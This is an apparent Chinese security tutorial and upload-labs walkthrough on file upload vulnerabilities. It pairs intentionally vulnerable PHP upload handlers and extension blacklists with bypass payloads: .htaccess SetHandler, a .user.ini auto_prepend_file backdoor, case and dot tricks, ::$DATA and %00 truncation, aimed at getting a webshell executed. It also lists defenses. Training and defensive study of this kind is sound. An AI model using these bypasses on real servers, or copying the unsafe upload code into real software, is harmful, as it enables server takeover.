环境下载地址:
文件上传漏洞介绍
文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的,如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,攻击者可通过Web访问的目录上传任意文件,包括网站后门文件(WebShell
),进而远程控制网站服务器.
文件上传 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 <?php $SELF_PAGE = substr ($_SERVER ['PHP_SELF' ], strrpos ($_SERVER ['PHP_SELF' ], '/' ) + 1 );$PIKA_ROOT_DIR = "../../" ;$html = '' ;function upload_client ($key , $save_path ) { $arr_errors = array ( 1 => '上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值' , 2 => '上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值' , 3 => '文件只有部分被上传' , 4 => '没有文件被上传' , 6 => '找不到临时文件夹' , 7 => '文件写入失败' ); if (!isset ($_FILES [$key ]['error' ])) { $return_data ['error' ] = '请选择上传文件!' ; $return_data ['return' ] = false ; return $return_data ; } if ($_FILES [$key ]['error' ] != 0 ) { $return_data ['error' ] = $arr_errors [$_FILES [$key ]['error' ]]; $return_data ['return' ] = false ; return $return_data ; } if (!file_exists ($save_path )) { if (!mkdir ($save_path , 0777 , true )) { $return_data ['error' ] = '上传文件保存目录创建失败,请检查权限!' ; $return_data ['return' ] = false ; return $return_data ; } } $save_path = rtrim ($save_path , '/' ) . '/' ; if (!move_uploaded_file ($_FILES [$key ]['tmp_name' ], $save_path . $_FILES [$key ]['name' ])) { $return_data ['error' ] = '临时文件移动失败,请检查权限!' ; $return_data ['return' ] = false ; return $return_data ; } $return_data ['new_path' ] = $save_path . $_FILES [$key ]['name' ]; $return_data ['return' ] = true ; return $return_data ; } if (isset ($_POST ['submit' ])) { $save_path = 'uploads' ; $upload = upload_client ('uploadfile' , $save_path ); $html .= $upload ['return' ] ? "<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']} </p>" : "<p class='notice'>{$upload['error']} </p>" ; } ?> <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <title>文件上传</title> </head> <body> <h1>文件上传</h1> <div> <!-- 文件上传表单 --> <form method="post" enctype="multipart/form-data" action="" > <input type="file" name="uploadfile" onchange="checkFileExt(this.value)" /><br /> <input type="submit" name="submit" value="开始上传" /> </form> <!-- 显示上传结果 --> <?php echo $html ; ?> </div> </body> </html>
文件上传漏洞原理 这种漏洞的本质是违反了数据与代码分离原则,攻击者上传可执行文件(如木马、病毒、恶意脚本或WebShell
等),并使其在服务器上执行,最终获取对网站的控制权限.
许多网站和应用系统都提供文件上传功能,但在实现时,开发者未对文件格式进行有效验证,或者仅在前端通过JavaScript
进行了后缀检验.
攻击者可以通过上传与网站脚本语言相对应的恶意代码文件(例如jsp
、asp、php、aspx等文件)到服务器上,从而访问其中包含的恶意代码,动态解析并执行,对服务器安全造成影响.
相比于其他安全漏洞如SQL
注入或XSS
,文件上传漏洞的风险更大.如果Web
应用程序存在这种漏洞,攻击者上传的文件会被服务器的Web
容器解释执行,导致恶意代码执行.
这可能包括上传病毒、木马文件,诱骗用户或管理员下载执行.攻击者还可以上传钓鱼图片或包含脚本的图片,在某些浏览器中被视为脚本执行,用于进行钓鱼和欺诈.甚至,攻击者可以直接上传一个WebShell
,完全控制系统或导致系统瘫痪.
文件上传漏洞成因
服务器的错误配置: 不正确的服务器配置可能导致对上传文件的处理存在漏洞,攻击者通过利用配置错误可以绕过安全措施.
开源编码器漏洞: 使用的开源编码器存在漏洞时,攻击者可以利用这些漏洞来上传恶意文件.
本地上传上限制不严格被绕过: 如果服务器对上传文件的大小限制不严格,攻击者可以通过上传大型文件来滥用服务器资源.
服务器端过滤不严格被绕过: 如果服务器对上传文件的类型或内容进行过滤时存在漏洞,攻击者可能通过构造特定的文件绕过过滤机制.
文件上传漏洞危害
上传恶意文件: 攻击者上传包含恶意代码的文件,例如木马、病毒、WebShell
等,以执行后续攻击.
getshell: 攻击者通过上传包含可执行代码的文件获取对服务器的控制权,进而实现getshell攻击.
控制服务器: 通过上传恶意文件,攻击者可以控制服务器,执行任意代码,修改或删除文件,甚至获取更高的系统权限.
执行任意代码: 成功上传可执行代码的攻击者可能利用这些代码执行各种恶意操作.
横向移动: 攻击者成功获取服务器权限后,可能通过横向移动在网络中进一步扩散,攻击其他系统,形成更大的威胁.
文件上传绕过方式
改变文件扩展名: 攻击者可以将恶意文件改变为一个合法的文件扩展名,比如将 .php
文件改为 .jpg
文件,然后上传到服务器.服务器通常只会根据文件扩展名来判断文件类型,因此攻击者可以绕过文件类型的检查.
使用 WebShell: WebShell
是一种常见的工具,攻击者可以使用它来上传恶意文件,因为 WebShell
通常会绕过服务器的文件类型检查.攻击者可以上传恶意代码,然后利用 WebShell 来执行恶意代码,从而获取系统权限.
绕过文件大小限制: 有时服务器会限制上传文件的大小,攻击者可以绕过这个限制,比如将大文件分割成多个小文件上传,或者使用一些工具来压缩文件大小,例如使用 GZIP.
绕过文件内容检查: 服务器通常会对上传的文件进行内容检查,以防止上传恶意代码,攻击者可以尝试绕过这个检查.例如,在文件中插入一些无害的代码或注释,以使文件看起来更合法.
利用漏洞: 某些服务器可能存在漏洞,攻击者可以利用这些漏洞来绕过文件上传检查.例如,一些服务器可能会允许上传文件,然后使用反向代理将文件转发到其他服务器,攻击者可以利用这个漏洞上传恶意文件.
文件上传漏洞防御 系统运行时的防御
设置文件上传目录为不可执行: 将文件上传目录配置为不可执行,即使攻击者上传了脚本文件,服务器也不会执行它们,从而确保服务器安全.
判断文件类型: 在判断文件类型时,结合使用 MIME Type、后缀检查等方式.推荐使用白名单方式进行文件类型检查,避免使用黑名单方式.对于图片,可以使用压缩或者调整大小的函数,在处理图片的同时破坏可能包含的 HTML
代码.
使用随机数改写文件名和路径: 在文件上传时使用随机数改写文件名和路径,增加攻击的成本.攻击者上传的文件将变得无法直接访问,提高系统安全性.
单独设置文件服务器的域名: 将文件服务器的域名设置为独立的域名,通过同源策略防止一些客户端攻击,如上传包含 JavaScript
的 XSS 利用或上传 crossdomain.xml
文件等问题.
使用安全设备防御: 部署专业的安全设备,通过检测上传利用行为和恶意文件的上传过程来防御文件上传漏洞.安全设备可以对恶意文件进行检测和拦截,帮助提高系统的安全性.
系统开发阶段的防御
强化开发人员的安全意识: 开发人员在系统开发阶段应具备较强的安全意识,特别是使用 PHP 语言进行开发.对文件上传漏洞,应在客户端和服务器端对用户上传的文件名和文件路径等进行严格检查.
客户端检查和服务器端检查: 在客户端进行检查可以阻挡一些基本的试探,服务器端检查最好采用白名单过滤的方式,防止绕过大小写等方式进行攻击.同时对 %00
截断符和 HTTP 包头的 content-type
进行检查.
系统维护阶段的防御
强化运维人员的安全意识: 运维人员上线后应保持较强的安全意识,使用多个安全检测工具对系统进行定期扫描,及时发现并修复潜在漏洞.
定期查看系统日志: 定期查看系统日志,尤其是 web 服务器日志,以发现潜在的入侵痕迹.关注第三方插件的更新情况,及时更新版本或修补可能存在的安全漏洞.
系统自查和软件更新: 对于使用开源代码或框架搭建的网站,定期进行漏洞自查和软件版本更新.上传功能非必选的情况下可以考虑删除,配置服务器目录的执行权限,并合理配置服务器以提高整体安全性.
靶场复现 第一关客户端检测绕过 禁用JS上传成功
第二关MIME检测绕过 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { if (($_FILES ['upload_file' ]['type' ] == 'image/jpeg' ) || ($_FILES ['upload_file' ]['type' ] == 'image/png' ) || ($_FILES ['upload_file' ]['type' ] == 'image/gif' )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' . $_FILES ['upload_file' ]['name' ] if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '文件类型不正确,请重新上传!' ; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!' ; } }
解决方法
第三关黑名单绕过 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ('.asp' ,'.aspx' ,'.php' ,'.jsp' ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
解决方法
第四关.htaccess绕过
.htaccess
是一种配置文件,用于在 Apache 服务器上配置网站的行为.它允许在特定目录中放置一个包含一系列指令的文件,以改变服务器的配置,实现诸如重定向、认证、缓存控制等功能.
代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".php1" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".pHp1" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
解决方法 虽然还是黑名单,但几乎过滤了所有有问题的后缀名,除了.htaccess,于是首先上传一个.htaccess内容如下的文件:
1 2 # SetHandler application/x-httpd-php 是一个用于 Apache 服务器的指令,它告诉服务器如何处理指定文件的内容.具体而言,这个指令将文件的处理程序设置为 PHP 解释器,使得 Apache 将文件中的 PHP 代码解释为动态内容. SetHandler application/x-httpd-php
这样所有文件都会解析为PHP
,然后再上传图片马,就可以解析.
第五关.user.ini绕过 代码分析 通过查看提示和文件源码发现,本pass将.php
,.php5
,.php4
,.php3
,.php2
,.html
,.htm
,.phtml
,.pht
,.pHp
,.pHp5
,.pHp4
,.pHp3
,.pHp2
,.Html
,.Htm
,.pHtml
,.jsp
,.jspa
,.jspx
,.jsw
,.jsv
,.jspf
,.jtml
,.jSp
,.jSpx
,.jSpa
,.jSw
,.jSv
,.jSpf
,.jHtml
,.asp
,.aspx
,.asa
,.asax
,.ascx
,.ashx
,.asmx
,.cer
,.aSp
,.aSpx
,.aSa
,.aSax
,.aScx
,.aShx
,.aSmx
,.cEr
,.sWf
,.swf
以及.htaccess
都过滤了,此处不能和pass04一样的技巧进行上传.htaccess
文件进行绕过.
解决方法
补充知识: 配置文件 :php.ini
配置文件(php.ini
)在 PHP 启动时被读取.对于服务器模块版本的 PHP,仅在 Web
服务器启动时读取一次.对于 CGI 和 CLI 版本,每次调用都会读取.
PHP 在每个目录下扫描INI
文件的机制是从被执行的 PHP 文件所在目录开始一直上升到Web
根目录,除了主 php.ini
外.如果 PHP 文件在 web 根目录之外,则只扫描该目录.自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess
风格的 INI 文件,但只有CGI/Fastcgi sapi
处理这类文件.
两个关键的 INI 指令,user_ini.filename
和user_ini.cache_ttl
,用于控制用户 INI 文件的使用.user_ini.filename
设定了 PHP 在每个目录下搜寻的文件名,设置为空字符串则停止搜寻,默认值是 .user.ini
.user_ini.cache_ttl
控制重新读取用户 INI 文件的时间间隔,默认为 300 秒(5 分钟).
在 .user.ini
风格的 INI 文件中,只有具有 PHP_INI_PERDIR
和 PHP_INI_USER
模式的 INI 设置可被识别.实际上,除了 PHP_INI_SYSTEM
以外的模式都可以通过 .user.ini
进行设置,而且 .user.ini
是一个能够动态加载的 INI 文件.因此,修改 .user.ini
后无需重启服务器中间件,只需等待 user_ini.cache_ttl
所设置的时间(默认为 300 秒),设置即可被重新加载.
总的来说,.user.ini
实际上是用户可以自定义的 php.ini 文件,可用于自定义 PHP_INI_PERDIR
和 PHP_INI_USER
模式的设置.其中有两个配置可用于制造后门.
1 2 auto_append_file auto_prepend_file
使用方法很简单,直接写在.user.ini中:
1 auto_prepend_file =jiangjiyue.txt
或者
1 auto_append_file =jiangjiyue.txt
新建一个文件名为.user.ini
的文件,并将内容写为:
auto_prepend_file=jiangjiyue.txt
将.user.ini
上传至服务器
新建一个文件名为jiangjiyue.txt
的文件,并将内容写为phpinfo
或者webshell
将jiangjiyue.txt
上传至服务器
再访问上传目录下的readme.php
,即可将jiangjiyue.txt
内的内容脚本正常执行.
第六关大小写绕过 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).strtolower ($file_ext ); if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
解决方法 大小写绕过jiangjiyue.PhP
第七关空格绕过 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = $_FILES ['upload_file' ]['name' ]; $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php function deldot ($s ) { for ($i = strlen ($s ) - 1 ; $i > 0 ; $i --) { $c = substr ($s , $i , 1 ); if ($i == strlen ($s ) - 1 and $c != '.' ) { return $s ; } if ($c != '.' ) { return substr ($s , 0 , $i + 1 ); } } } $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" );$file_name = 'jiangjiyue.php .' ;$file_name = deldot ($file_name );$file_ext = strrchr ($file_name , '.' );$file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext );echo $file_ext ;if (in_array ($file_ext , $deny_ext )) { echo '此文件不允许上传' ; }
解決方法 代码中并没有对空格过滤,所以我们可以加空格点来绕过 比如jiangjiyue.php .
实际中加不加.
要看具体环境,因为代码也会过滤掉.
第八关点号绕过 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php function deldot ($s ) { for ($i = strlen ($s ) - 1 ; $i > 0 ; $i --) { $c = substr ($s , $i , 1 ); if ($i == strlen ($s ) - 1 and $c != '.' ) { return $s ; } if ($c != '.' ) { return substr ($s , 0 , $i + 1 ); } } } $deny_ext = array (".php" , ".php5" , ".php4" , ".php3" , ".php2" , ".html" , ".htm" , ".phtml" , ".pht" , ".pHp" , ".pHp5" , ".pHp4" , ".pHp3" , ".pHp2" , ".Html" , ".Htm" , ".pHtml" , ".jsp" , ".jspa" , ".jspx" , ".jsw" , ".jsv" , ".jspf" , ".jtml" , ".jSp" , ".jSpx" , ".jSpa" , ".jSw" , ".jSv" , ".jSpf" , ".jHtml" , ".asp" , ".aspx" , ".asa" , ".asax" , ".ascx" , ".ashx" , ".asmx" , ".cer" , ".aSp" , ".aSpx" , ".aSa" , ".aSax" , ".aScx" , ".aShx" , ".aSmx" , ".cEr" , ".sWf" , ".swf" , ".htaccess" , ".ini" );$file_name = trim ('jiangjiyue.php. .' );echo '处理前' .$file_name ;echo "\n" ;$file_ext = strrchr ($file_name , '.' );$file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = 'jiangjiyue.php. .' ; $img_path = './' . $file_name ; echo '处理后' .$img_path ; } else { $msg = '此文件类型不允许上传!' ; }
解决方法 用上方代码分析出来的结果进行绕过,也可以只加一个.
第九关::$DATA绕过 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date ("YmdHis" ).rand (1000 ,9999 ).$file_ext ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
解决方法 文件名为:jiangjiyue.php::$DATA
绕过
第十关点空格点绕过 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ,".ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' ); $file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); if (!in_array ($file_ext , $deny_ext )) { $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php function deldot ($s ) { for ($i = strlen ($s ) - 1 ; $i > 0 ; $i --) { $c = substr ($s , $i , 1 ); if ($i == strlen ($s ) - 1 and $c != '.' ) { return $s ; } if ($c != '.' ) { return substr ($s , 0 , $i + 1 ); } } } $deny_ext = array (".php" , ".php5" , ".php4" , ".php3" , ".php2" , ".html" , ".htm" , ".phtml" , ".pht" , ".pHp" , ".pHp5" , ".pHp4" , ".pHp3" , ".pHp2" , ".Html" , ".Htm" , ".pHtml" , ".jsp" , ".jspa" , ".jspx" , ".jsw" , ".jsv" , ".jspf" , ".jtml" , ".jSp" , ".jSpx" , ".jSpa" , ".jSw" , ".jSv" , ".jSpf" , ".jHtml" , ".asp" , ".aspx" , ".asa" , ".asax" , ".ascx" , ".ashx" , ".asmx" , ".cer" , ".aSp" , ".aSpx" , ".aSa" , ".aSax" , ".aScx" , ".aShx" , ".aSmx" , ".cEr" , ".sWf" , ".swf" , ".htaccess" , ".ini" );$file_name = trim ('file.php. .' );$file_name = deldot ($file_name ); $file_ext = strrchr ($file_name , '.' );$file_ext = strtolower ($file_ext ); $file_ext = str_ireplace ('::$DATA' , '' , $file_ext ); $file_ext = trim ($file_ext ); echo $file_name ;echo "\n" ;if (!in_array ($file_ext , $deny_ext )) { echo '成功' ; } else { echo '此文件类型不允许上传!' ; }
解决方法 文件名为:jiangjiyue.php. .
绕过
第十一关双写绕过 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists (UPLOAD_PATH)) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ,"ini" ); $file_name = trim ($_FILES ['upload_file' ]['name' ]); $file_name = str_ireplace ($deny_ext ,"" , $file_name ); $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name ; if (move_uploaded_file ($temp_file , $img_path )) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php function deldot ($s ) { for ($i = strlen ($s ) - 1 ; $i > 0 ; $i --) { $c = substr ($s , $i , 1 ); if ($i == strlen ($s ) - 1 and $c != '.' ) { return $s ; } if ($c != '.' ) { return substr ($s , 0 , $i + 1 ); } } } $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ,"ini" );$file_name = 'jiangjiyue.pphphp' ;$file_name = str_ireplace ($deny_ext ,"" , $file_name );echo '后缀名:' .$file_name ;
解决方法 根据代码分析的结果构造Payload
:jiangjiyue.pphphp
第十二关%00截断 代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_ext = substr ($_FILES ['upload_file' ]['name' ],strrpos ($_FILES ['upload_file' ]['name' ],"." )+1 ); if (in_array ($file_ext ,$ext_arr )){ $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $img_path = $_GET ['save_path' ]."/" .rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; if (move_uploaded_file ($temp_file ,$img_path )){ $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; } }
解决方法 上传的路径可控,这里可以使用%00
截断,成功上传后,%00
后的不会被识别
